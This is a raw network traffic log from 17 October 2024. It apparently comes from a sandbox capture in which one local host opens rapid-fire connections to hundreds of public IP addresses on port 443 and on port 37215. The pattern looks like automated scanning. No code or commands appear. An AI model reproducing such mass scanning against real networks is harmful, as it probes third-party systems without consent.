Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	94.76.165.161
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	210.188.169.104
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	2.194.185.116
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	5.230.61.81
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	94.134.46.3
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	117.138.235.84
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	178.156.236.9
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	109.147.53.148
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	117.215.228.153
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	212.44.161.72
Oct 17, 2024 02:19:41.065072060 CEST	20641	443	192.168.2.14	42.94.54.99
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	109.245.128.108
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	94.102.92.19
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	94.129.185.1
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	123.84.75.250
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	94.148.236.159
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	210.133.223.46
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	109.191.194.109
Oct 17, 2024 02:19:41.065078974 CEST	20641	443	192.168.2.14	210.35.46.186
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	118.48.15.161
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	109.92.120.254
Oct 17, 2024 02:19:41.065093994 CEST	20641	443	192.168.2.14	2.18.139.69
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	118.197.219.108
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	118.40.151.204
Oct 17, 2024 02:19:41.065073013 CEST	20641	443	192.168.2.14	212.242.40.248
Oct 17, 2024 02:19:41.065120935 CEST	20641	443	192.168.2.14	37.61.121.194
Oct 17, 2024 02:19:41.065167904 CEST	20641	443	192.168.2.14	212.89.116.189
Oct 17, 2024 02:19:41.065177917 CEST	20641	443	192.168.2.14	212.175.80.226
Oct 17, 2024 02:19:41.065186024 CEST	20641	443	192.168.2.14	212.158.211.235
Oct 17, 2024 02:19:41.065188885 CEST	20641	443	192.168.2.14	94.245.51.174
Oct 17, 2024 02:19:41.065212011 CEST	20641	443	192.168.2.14	178.120.71.153
Oct 17, 2024 02:19:41.065212011 CEST	20641	443	192.168.2.14	202.94.99.78
Oct 17, 2024 02:19:41.065222025 CEST	20641	443	192.168.2.14	178.201.81.102
Oct 17, 2024 02:19:41.065222025 CEST	20641	443	192.168.2.14	5.249.169.190
Oct 17, 2024 02:19:41.065243959 CEST	20641	443	192.168.2.14	2.233.4.167
Oct 17, 2024 02:19:41.065243959 CEST	20641	443	192.168.2.14	79.185.244.125
Oct 17, 2024 02:19:41.065243959 CEST	20641	443	192.168.2.14	37.7.57.76
Oct 17, 2024 02:19:41.065249920 CEST	20641	443	192.168.2.14	42.138.233.149
Oct 17, 2024 02:19:41.065251112 CEST	20641	443	192.168.2.14	37.250.81.176
Oct 17, 2024 02:19:41.065251112 CEST	20641	443	192.168.2.14	37.46.52.86
Oct 17, 2024 02:19:41.065251112 CEST	20641	443	192.168.2.14	148.254.83.189
Oct 17, 2024 02:19:41.065251112 CEST	20641	443	192.168.2.14	94.248.21.204
Oct 17, 2024 02:19:41.065251112 CEST	20641	443	192.168.2.14	5.6.104.70
Oct 17, 2024 02:19:41.065258980 CEST	20641	443	192.168.2.14	202.204.150.129
Oct 17, 2024 02:19:41.065262079 CEST	20641	443	192.168.2.14	109.178.100.85
Oct 17, 2024 02:19:41.065262079 CEST	20641	443	192.168.2.14	79.25.75.13
Oct 17, 2024 02:19:41.065263987 CEST	20641	443	192.168.2.14	118.168.59.32
Oct 17, 2024 02:19:41.065263987 CEST	20641	443	192.168.2.14	79.88.29.213
Oct 17, 2024 02:19:41.065265894 CEST	20641	443	192.168.2.14	178.230.201.143
Oct 17, 2024 02:19:41.065267086 CEST	20641	443	192.168.2.14	37.9.153.186
Oct 17, 2024 02:19:41.065263987 CEST	20641	443	192.168.2.14	148.55.224.74
Oct 17, 2024 02:19:41.065265894 CEST	20641	443	192.168.2.14	123.147.196.102
Oct 17, 2024 02:19:41.065263987 CEST	20641	443	192.168.2.14	109.234.249.97
Oct 17, 2024 02:19:41.065268993 CEST	20641	443	192.168.2.14	5.195.106.31
Oct 17, 2024 02:19:41.065269947 CEST	20641	443	192.168.2.14	79.21.111.109
Oct 17, 2024 02:19:41.065268993 CEST	20641	443	192.168.2.14	118.120.34.243
Oct 17, 2024 02:19:41.065279007 CEST	20641	443	192.168.2.14	148.202.141.193
Oct 17, 2024 02:19:41.065303087 CEST	20641	443	192.168.2.14	178.13.215.125
Oct 17, 2024 02:19:41.065310955 CEST	20641	443	192.168.2.14	5.75.51.56
Oct 17, 2024 02:19:41.065310955 CEST	20641	443	192.168.2.14	212.73.27.250
Oct 17, 2024 02:19:41.065310955 CEST	20641	443	192.168.2.14	42.203.0.196
Oct 17, 2024 02:19:41.065313101 CEST	20641	443	192.168.2.14	37.115.65.175
Oct 17, 2024 02:19:41.065320969 CEST	20641	443	192.168.2.14	118.189.34.19
Oct 17, 2024 02:19:41.065320969 CEST	20641	443	192.168.2.14	202.254.157.79
Oct 17, 2024 02:19:41.065321922 CEST	20641	443	192.168.2.14	210.62.15.61
Oct 17, 2024 02:19:41.065321922 CEST	20641	443	192.168.2.14	178.195.129.128
Oct 17, 2024 02:19:41.065320969 CEST	20641	443	192.168.2.14	37.83.221.173
Oct 17, 2024 02:19:41.065321922 CEST	20641	443	192.168.2.14	118.85.18.19
Oct 17, 2024 02:19:41.065320969 CEST	20641	443	192.168.2.14	42.49.29.244
Oct 17, 2024 02:19:41.065321922 CEST	20641	443	192.168.2.14	123.44.242.96
Oct 17, 2024 02:19:41.065329075 CEST	20641	443	192.168.2.14	210.126.214.118
Oct 17, 2024 02:19:41.065329075 CEST	20641	443	192.168.2.14	94.114.37.25
Oct 17, 2024 02:19:41.065329075 CEST	20641	443	192.168.2.14	94.47.211.202
Oct 17, 2024 02:19:41.065335989 CEST	20641	443	192.168.2.14	123.176.50.141
Oct 17, 2024 02:19:41.065324068 CEST	20641	443	192.168.2.14	210.184.236.231
Oct 17, 2024 02:19:41.065342903 CEST	20641	443	192.168.2.14	148.229.16.90
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	109.79.21.165
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	117.173.80.35
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	178.34.65.253
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	5.211.141.160
Oct 17, 2024 02:19:41.065346956 CEST	20641	443	192.168.2.14	210.82.41.45
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	2.105.243.147
Oct 17, 2024 02:19:41.065346956 CEST	20641	443	192.168.2.14	117.189.111.10
Oct 17, 2024 02:19:41.065345049 CEST	20641	443	192.168.2.14	5.108.44.11
Oct 17, 2024 02:19:41.065346956 CEST	20641	443	192.168.2.14	2.10.172.156
Oct 17, 2024 02:19:41.065350056 CEST	20641	443	192.168.2.14	37.76.233.167
Oct 17, 2024 02:19:41.065351009 CEST	20641	443	192.168.2.14	109.160.208.30
Oct 17, 2024 02:19:41.065356016 CEST	20641	443	192.168.2.14	109.81.101.163
Oct 17, 2024 02:19:41.065356016 CEST	20641	443	192.168.2.14	202.226.148.176
Oct 17, 2024 02:19:41.065356016 CEST	20641	443	192.168.2.14	109.226.125.42
Oct 17, 2024 02:19:41.065356970 CEST	20641	443	192.168.2.14	210.53.29.132
Oct 17, 2024 02:19:41.065356970 CEST	20641	443	192.168.2.14	123.191.67.142
Oct 17, 2024 02:19:41.065356970 CEST	20641	443	192.168.2.14	2.238.221.199
Oct 17, 2024 02:19:41.065356970 CEST	20641	443	192.168.2.14	210.13.227.252
Oct 17, 2024 02:19:41.065378904 CEST	20641	443	192.168.2.14	210.238.10.12
Oct 17, 2024 02:19:41.065378904 CEST	20641	443	192.168.2.14	42.29.3.216
Oct 17, 2024 02:19:41.065380096 CEST	20641	443	192.168.2.14	2.202.169.238
Oct 17, 2024 02:19:41.065381050 CEST	20641	443	192.168.2.14	5.56.70.239
Oct 17, 2024 02:19:41.065381050 CEST	20641	443	192.168.2.14	212.86.192.130
Oct 17, 2024 02:19:41.065381050 CEST	20641	443	192.168.2.14	37.203.64.12
Oct 17, 2024 02:19:41.065383911 CEST	20641	443	192.168.2.14	123.211.208.17
Oct 17, 2024 02:19:41.065383911 CEST	20641	443	192.168.2.14	117.1.44.184
Oct 17, 2024 02:19:41.065381050 CEST	20641	443	192.168.2.14	5.46.225.205
Oct 17, 2024 02:19:41.065387011 CEST	20641	443	192.168.2.14	109.87.35.28
Oct 17, 2024 02:19:41.065387011 CEST	20641	443	192.168.2.14	94.56.241.218
Oct 17, 2024 02:19:41.065387011 CEST	20641	443	192.168.2.14	2.169.17.17
Oct 17, 2024 02:19:41.065387011 CEST	20641	443	192.168.2.14	2.41.118.82
Oct 17, 2024 02:19:41.065387011 CEST	20641	443	192.168.2.14	79.74.25.55
Oct 17, 2024 02:19:41.065392971 CEST	20641	443	192.168.2.14	178.195.52.30
Oct 17, 2024 02:19:41.065392971 CEST	20641	443	192.168.2.14	210.67.128.161
Oct 17, 2024 02:19:41.065392971 CEST	20641	443	192.168.2.14	210.216.169.18
Oct 17, 2024 02:19:41.065397024 CEST	20641	443	192.168.2.14	5.174.171.19
Oct 17, 2024 02:19:41.065397024 CEST	20641	443	192.168.2.14	37.172.212.207
Oct 17, 2024 02:19:41.065398932 CEST	20641	443	192.168.2.14	117.235.82.95
Oct 17, 2024 02:19:41.065399885 CEST	20641	443	192.168.2.14	212.247.66.111
Oct 17, 2024 02:19:41.065402985 CEST	20641	443	192.168.2.14	178.70.201.14
Oct 17, 2024 02:19:41.065407991 CEST	20641	443	192.168.2.14	94.70.4.125
Oct 17, 2024 02:19:41.065493107 CEST	20641	443	192.168.2.14	2.247.70.7
Oct 17, 2024 02:19:41.065500975 CEST	20641	443	192.168.2.14	42.203.61.27
Oct 17, 2024 02:19:41.065530062 CEST	20641	443	192.168.2.14	5.116.102.187
Oct 17, 2024 02:19:41.065530062 CEST	20641	443	192.168.2.14	210.154.181.168
Oct 17, 2024 02:19:41.065530062 CEST	20641	443	192.168.2.14	42.95.245.116
Oct 17, 2024 02:19:41.065531969 CEST	20641	443	192.168.2.14	37.15.172.220
Oct 17, 2024 02:19:41.065531969 CEST	20641	443	192.168.2.14	212.211.93.198
Oct 17, 2024 02:19:41.065531969 CEST	20641	443	192.168.2.14	42.210.136.17
Oct 17, 2024 02:19:41.065541983 CEST	20641	443	192.168.2.14	37.228.133.60
Oct 17, 2024 02:19:41.065537930 CEST	20641	443	192.168.2.14	2.249.191.5
Oct 17, 2024 02:19:41.065543890 CEST	20641	443	192.168.2.14	5.246.158.101
Oct 17, 2024 02:19:41.065545082 CEST	20641	443	192.168.2.14	123.153.239.202
Oct 17, 2024 02:19:41.065543890 CEST	20641	443	192.168.2.14	202.231.57.12
Oct 17, 2024 02:19:41.065545082 CEST	20641	443	192.168.2.14	178.9.20.227
Oct 17, 2024 02:19:41.065537930 CEST	20641	443	192.168.2.14	118.79.64.127
Oct 17, 2024 02:19:41.065545082 CEST	20641	443	192.168.2.14	118.73.188.241
Oct 17, 2024 02:19:41.065545082 CEST	20641	443	192.168.2.14	210.67.20.40
Oct 17, 2024 02:19:41.065542936 CEST	20641	443	192.168.2.14	5.220.82.199
Oct 17, 2024 02:19:41.065550089 CEST	20641	443	192.168.2.14	202.133.185.145
Oct 17, 2024 02:19:41.065542936 CEST	20641	443	192.168.2.14	79.128.253.210
Oct 17, 2024 02:19:41.065551043 CEST	20641	443	192.168.2.14	94.217.190.85
Oct 17, 2024 02:19:41.065555096 CEST	20641	443	192.168.2.14	202.250.62.69
Oct 17, 2024 02:19:41.065555096 CEST	20641	443	192.168.2.14	79.26.169.204
Oct 17, 2024 02:19:41.065555096 CEST	20641	443	192.168.2.14	42.154.48.55
Oct 17, 2024 02:19:41.065565109 CEST	20641	443	192.168.2.14	202.98.53.107
Oct 17, 2024 02:19:41.065566063 CEST	20641	443	192.168.2.14	178.56.186.225
Oct 17, 2024 02:19:41.065565109 CEST	20641	443	192.168.2.14	210.22.113.91
Oct 17, 2024 02:19:41.065572023 CEST	20641	443	192.168.2.14	42.66.51.95
Oct 17, 2024 02:19:41.065572977 CEST	20641	443	192.168.2.14	148.244.144.230
Oct 17, 2024 02:19:41.065572977 CEST	20641	443	192.168.2.14	178.28.18.255
Oct 17, 2024 02:19:41.065573931 CEST	20641	443	192.168.2.14	178.133.7.161
Oct 17, 2024 02:19:41.065573931 CEST	20641	443	192.168.2.14	117.2.27.108
Oct 17, 2024 02:19:41.065573931 CEST	20641	443	192.168.2.14	42.110.20.53
Oct 17, 2024 02:19:41.065582991 CEST	20641	443	192.168.2.14	5.143.211.27
Oct 17, 2024 02:19:41.065586090 CEST	20641	443	192.168.2.14	109.150.187.160
Oct 17, 2024 02:19:41.065591097 CEST	20641	443	192.168.2.14	148.199.245.165
Oct 17, 2024 02:19:41.065608978 CEST	20641	443	192.168.2.14	178.182.142.211
Oct 17, 2024 02:19:41.065608978 CEST	20641	443	192.168.2.14	212.28.183.123
Oct 17, 2024 02:19:41.065612078 CEST	20641	443	192.168.2.14	118.29.85.240
Oct 17, 2024 02:19:41.065618038 CEST	20641	443	192.168.2.14	210.174.25.19
Oct 17, 2024 02:19:41.065629959 CEST	20641	443	192.168.2.14	123.234.164.67
Oct 17, 2024 02:19:41.065632105 CEST	20641	443	192.168.2.14	94.215.63.9
Oct 17, 2024 02:19:41.065649986 CEST	20641	443	192.168.2.14	79.248.80.201
Oct 17, 2024 02:19:41.065654039 CEST	20641	443	192.168.2.14	37.139.24.25
Oct 17, 2024 02:19:41.065670013 CEST	20641	443	192.168.2.14	109.247.229.111
Oct 17, 2024 02:19:41.065670013 CEST	20641	443	192.168.2.14	109.237.211.0
Oct 17, 2024 02:19:41.065673113 CEST	20641	443	192.168.2.14	5.95.253.139
Oct 17, 2024 02:19:41.065679073 CEST	20641	443	192.168.2.14	117.173.183.23
Oct 17, 2024 02:19:41.065687895 CEST	20641	443	192.168.2.14	79.252.29.129
Oct 17, 2024 02:19:41.065692902 CEST	20641	443	192.168.2.14	2.86.94.201
Oct 17, 2024 02:19:41.065694094 CEST	20641	443	192.168.2.14	109.192.46.112
Oct 17, 2024 02:19:41.065699100 CEST	37215	20644	197.144.202.170	192.168.2.14
Oct 17, 2024 02:19:41.065706968 CEST	20641	443	192.168.2.14	117.130.123.51
Oct 17, 2024 02:19:41.065706968 CEST	20641	443	192.168.2.14	42.82.172.89
Oct 17, 2024 02:19:41.065706968 CEST	20641	443	192.168.2.14	118.94.244.116
Oct 17, 2024 02:19:41.065720081 CEST	37215	20644	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:41.065728903 CEST	20641	443	192.168.2.14	148.114.129.131
Oct 17, 2024 02:19:41.065735102 CEST	37215	20644	197.16.66.225	192.168.2.14
Oct 17, 2024 02:19:41.065741062 CEST	20641	443	192.168.2.14	148.128.154.115
Oct 17, 2024 02:19:41.065751076 CEST	37215	20644	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:41.065752983 CEST	20641	443	192.168.2.14	123.179.201.126
Oct 17, 2024 02:19:41.065754890 CEST	20641	443	192.168.2.14	42.144.24.171
Oct 17, 2024 02:19:41.065756083 CEST	20644	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:41.065762997 CEST	20641	443	192.168.2.14	42.95.235.125
Oct 17, 2024 02:19:41.065769911 CEST	37215	20644	41.187.219.13	192.168.2.14
Oct 17, 2024 02:19:41.065788984 CEST	37215	20644	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:41.065797091 CEST	20641	443	192.168.2.14	148.130.216.0
Oct 17, 2024 02:19:41.065797091 CEST	20644	37215	192.168.2.14	197.16.66.225
Oct 17, 2024 02:19:41.065798044 CEST	20644	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:41.065802097 CEST	20641	443	192.168.2.14	123.243.249.122
Oct 17, 2024 02:19:41.065802097 CEST	20641	443	192.168.2.14	148.230.106.58
Oct 17, 2024 02:19:41.065803051 CEST	37215	20644	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:41.065802097 CEST	20641	443	192.168.2.14	118.203.112.156
Oct 17, 2024 02:19:41.065815926 CEST	20644	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:41.065817118 CEST	20641	443	192.168.2.14	5.148.64.3
Oct 17, 2024 02:19:41.065818071 CEST	37215	20644	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:41.065839052 CEST	20644	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:41.065841913 CEST	20641	443	192.168.2.14	118.111.176.4
Oct 17, 2024 02:19:41.065850973 CEST	20644	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:41.065853119 CEST	20644	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:41.065853119 CEST	20644	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:41.065917015 CEST	37215	20644	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:41.065932035 CEST	37215	20644	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:41.065947056 CEST	37215	20644	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:41.065964937 CEST	20644	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:41.065983057 CEST	37215	20644	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:41.065998077 CEST	37215	20644	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:41.066013098 CEST	37215	20644	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:41.066028118 CEST	37215	20644	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:41.066039085 CEST	20644	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:41.066039085 CEST	20644	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:41.066042900 CEST	37215	20644	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:41.066046953 CEST	20644	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:41.066059113 CEST	37215	20644	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:41.066063881 CEST	20644	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:41.066073895 CEST	37215	20644	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:41.066077948 CEST	20644	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:41.066082954 CEST	20644	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:41.066088915 CEST	37215	20644	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:41.066103935 CEST	37215	20644	156.213.127.89	192.168.2.14
Oct 17, 2024 02:19:41.066103935 CEST	20644	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:41.066118956 CEST	37215	20644	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:41.066129923 CEST	20644	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:41.066133976 CEST	37215	20644	41.236.21.66	192.168.2.14
Oct 17, 2024 02:19:41.066138029 CEST	20644	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:41.066144943 CEST	20644	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:41.066145897 CEST	20644	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:41.066148043 CEST	20644	37215	192.168.2.14	156.213.127.89
Oct 17, 2024 02:19:41.066148996 CEST	37215	20644	41.6.177.78	192.168.2.14
Oct 17, 2024 02:19:41.066164017 CEST	37215	20644	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:41.066167116 CEST	20644	37215	192.168.2.14	41.236.21.66
Oct 17, 2024 02:19:41.066179037 CEST	37215	20644	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:41.066193104 CEST	37215	20644	41.125.31.107	192.168.2.14
Oct 17, 2024 02:19:41.066206932 CEST	20644	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:41.066221952 CEST	37215	20644	41.102.203.154	192.168.2.14
Oct 17, 2024 02:19:41.066222906 CEST	20644	37215	192.168.2.14	41.6.177.78
Oct 17, 2024 02:19:41.066237926 CEST	37215	20644	197.233.230.231	192.168.2.14
Oct 17, 2024 02:19:41.066252947 CEST	37215	20644	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:41.066272020 CEST	20644	37215	192.168.2.14	41.102.203.154
Oct 17, 2024 02:19:41.066272020 CEST	20644	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:41.066272974 CEST	20644	37215	192.168.2.14	41.125.31.107
Oct 17, 2024 02:19:41.066282988 CEST	37215	20644	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:41.066296101 CEST	20644	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:41.066299915 CEST	37215	20644	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:41.066314936 CEST	37215	20644	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:41.066315889 CEST	20644	37215	192.168.2.14	197.233.230.231
Oct 17, 2024 02:19:41.066327095 CEST	20644	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:41.066329002 CEST	37215	20644	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:41.066344023 CEST	37215	20644	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:41.066349030 CEST	20644	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:41.066358089 CEST	37215	20644	156.224.61.59	192.168.2.14
Oct 17, 2024 02:19:41.066369057 CEST	20644	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:41.066371918 CEST	37215	20644	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:41.066376925 CEST	20644	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:41.066385984 CEST	37215	20644	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:41.066400051 CEST	37215	20644	197.36.206.50	192.168.2.14
Oct 17, 2024 02:19:41.066414118 CEST	37215	20644	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:41.066421986 CEST	20644	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:41.066428900 CEST	37215	20644	197.111.176.34	192.168.2.14
Oct 17, 2024 02:19:41.066433907 CEST	20644	37215	192.168.2.14	156.224.61.59
Oct 17, 2024 02:19:41.066432953 CEST	20644	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:41.066442966 CEST	37215	20644	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:41.066457033 CEST	20644	37215	192.168.2.14	197.36.206.50
Oct 17, 2024 02:19:41.066462040 CEST	20644	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:41.066462040 CEST	37215	20644	156.69.8.0	192.168.2.14
Oct 17, 2024 02:19:41.066477060 CEST	37215	20644	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:41.066479921 CEST	20644	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:41.066479921 CEST	20644	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:41.066483974 CEST	20644	37215	192.168.2.14	197.111.176.34
Oct 17, 2024 02:19:41.066489935 CEST	37215	20644	41.158.128.192	192.168.2.14
Oct 17, 2024 02:19:41.066504955 CEST	37215	20644	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:41.066509008 CEST	20644	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:41.066519976 CEST	37215	20644	41.70.159.187	192.168.2.14
Oct 17, 2024 02:19:41.066528082 CEST	20644	37215	192.168.2.14	41.158.128.192
Oct 17, 2024 02:19:41.066531897 CEST	20644	37215	192.168.2.14	156.69.8.0
Oct 17, 2024 02:19:41.066534042 CEST	20644	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:41.066536903 CEST	37215	20644	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:41.066565037 CEST	37215	20644	41.102.78.212	192.168.2.14
Oct 17, 2024 02:19:41.066579103 CEST	37215	20644	41.217.22.123	192.168.2.14
Oct 17, 2024 02:19:41.066593885 CEST	37215	20644	156.40.162.205	192.168.2.14
Oct 17, 2024 02:19:41.066606045 CEST	20644	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:41.066608906 CEST	37215	20644	41.132.10.240	192.168.2.14
Oct 17, 2024 02:19:41.066610098 CEST	20644	37215	192.168.2.14	41.70.159.187
Oct 17, 2024 02:19:41.066610098 CEST	20644	37215	192.168.2.14	41.217.22.123
Oct 17, 2024 02:19:41.066613913 CEST	20644	37215	192.168.2.14	41.102.78.212
Oct 17, 2024 02:19:41.066623926 CEST	37215	20644	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:41.066639900 CEST	37215	20644	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:41.066644907 CEST	20644	37215	192.168.2.14	41.132.10.240
Oct 17, 2024 02:19:41.066644907 CEST	20644	37215	192.168.2.14	156.40.162.205
Oct 17, 2024 02:19:41.066653967 CEST	37215	20644	156.42.18.17	192.168.2.14
Oct 17, 2024 02:19:41.066662073 CEST	20644	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:41.066684008 CEST	37215	20644	41.231.130.210	192.168.2.14
Oct 17, 2024 02:19:41.066698074 CEST	37215	20644	41.32.14.252	192.168.2.14
Oct 17, 2024 02:19:41.066713095 CEST	37215	20644	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:41.066720963 CEST	20644	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:41.066720963 CEST	20644	37215	192.168.2.14	156.42.18.17
Oct 17, 2024 02:19:41.066726923 CEST	37215	20644	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:41.066736937 CEST	20644	37215	192.168.2.14	41.231.130.210
Oct 17, 2024 02:19:41.066741943 CEST	37215	20644	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:41.066754103 CEST	37215	20644	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:41.066759109 CEST	20644	37215	192.168.2.14	41.32.14.252
Oct 17, 2024 02:19:41.066759109 CEST	20644	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:41.066762924 CEST	20644	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:41.066770077 CEST	37215	20644	156.11.104.107	192.168.2.14
Oct 17, 2024 02:19:41.066782951 CEST	37215	20644	41.159.173.9	192.168.2.14
Oct 17, 2024 02:19:41.066796064 CEST	20644	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:41.066797018 CEST	37215	20644	156.229.244.150	192.168.2.14
Oct 17, 2024 02:19:41.066803932 CEST	20644	37215	192.168.2.14	156.11.104.107
Oct 17, 2024 02:19:41.066811085 CEST	37215	20644	41.58.143.232	192.168.2.14
Oct 17, 2024 02:19:41.066824913 CEST	20644	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:41.066827059 CEST	37215	20644	41.174.5.246	192.168.2.14
Oct 17, 2024 02:19:41.066854000 CEST	37215	20644	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:41.066860914 CEST	20644	37215	192.168.2.14	41.159.173.9
Oct 17, 2024 02:19:41.066867113 CEST	37215	20644	197.61.234.163	192.168.2.14
Oct 17, 2024 02:19:41.066874981 CEST	20644	37215	192.168.2.14	41.174.5.246
Oct 17, 2024 02:19:41.066874981 CEST	20644	37215	192.168.2.14	156.229.244.150
Oct 17, 2024 02:19:41.066874981 CEST	20644	37215	192.168.2.14	41.58.143.232
Oct 17, 2024 02:19:41.066881895 CEST	37215	20644	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:41.066898108 CEST	37215	20644	41.89.192.253	192.168.2.14
Oct 17, 2024 02:19:41.066910982 CEST	20644	37215	192.168.2.14	197.61.234.163
Oct 17, 2024 02:19:41.066911936 CEST	37215	20644	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:41.066911936 CEST	20644	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:41.066917896 CEST	20644	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:41.066926956 CEST	37215	20644	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:41.066937923 CEST	20644	37215	192.168.2.14	41.89.192.253
Oct 17, 2024 02:19:41.066941023 CEST	37215	20644	156.250.16.160	192.168.2.14
Oct 17, 2024 02:19:41.066956043 CEST	37215	20644	156.106.39.28	192.168.2.14
Oct 17, 2024 02:19:41.066968918 CEST	37215	20644	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:41.066982985 CEST	37215	20644	41.212.199.44	192.168.2.14
Oct 17, 2024 02:19:41.066998005 CEST	37215	20644	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:41.067003965 CEST	20644	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:41.067006111 CEST	20644	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:41.067006111 CEST	20644	37215	192.168.2.14	156.250.16.160
